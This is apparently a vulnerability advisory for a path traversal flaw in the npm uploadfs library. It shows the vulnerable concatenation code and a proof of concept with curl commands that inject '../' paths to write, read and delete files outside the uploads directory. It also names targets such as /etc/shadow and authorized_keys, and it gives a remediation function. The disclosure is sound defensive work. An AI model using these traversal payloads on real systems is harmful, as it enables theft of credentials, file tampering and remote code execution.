PT-2026-120308 · Npm · Uploadfs

Published

2026-10-20

·

Updated

2026-10-20

CVSS v3.1

3.3

Low

VectorAV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

Details

Root Cause

packages/uploadfs/uploadfs.js:652-655
javascript
function prefixPath(path) {
  // Resolve any double // that results from the prefix
  return (self.prefix + path).replace(////g, '/');
}
packages/uploadfs/lib/storage/local.js
javascript
copyIn: function(localPath, path, options, callback) {
  const uploadPath = uploadsPath + path; // [VULNERABLE]
  return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
  return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
  const uploadPath = uploadsPath + path; // [VULNERABLE]
  fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Build and run

bash
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

text
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Screenshot 2026-07-22 at 08 57 46

Manual reproduction

bash
# Write outside uploads directory
curl -X POST http://localhost:3000/upload 
 -F "path=../../../tmp/backdoor.txt" 
 -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Screenshot 2026-07-22 at 08 58 36

Impact

CapabilityRisk
Arbitrary File WriteWrite to /etc/cron.d/, .ssh/authorized keys, or webroot files → Remote Code Execution
Arbitrary File ReadExfiltrate /etc/shadow, application configs, database credentials
Arbitrary File DeleteDestroy system or application files → Denial of Service

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
javascript
const path = require('path');
function safePath(base, target) {
 const resolved = path.resolve(base, target);
 if (!resolved.startsWith(path.resolve(base) + path.sep)) {
  throw new Error('Path traversal blocked: target is outside the intended directory');
 }
 return resolved;
}

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-GMFX-5G6X-RR72

Affected Products

Uploadfs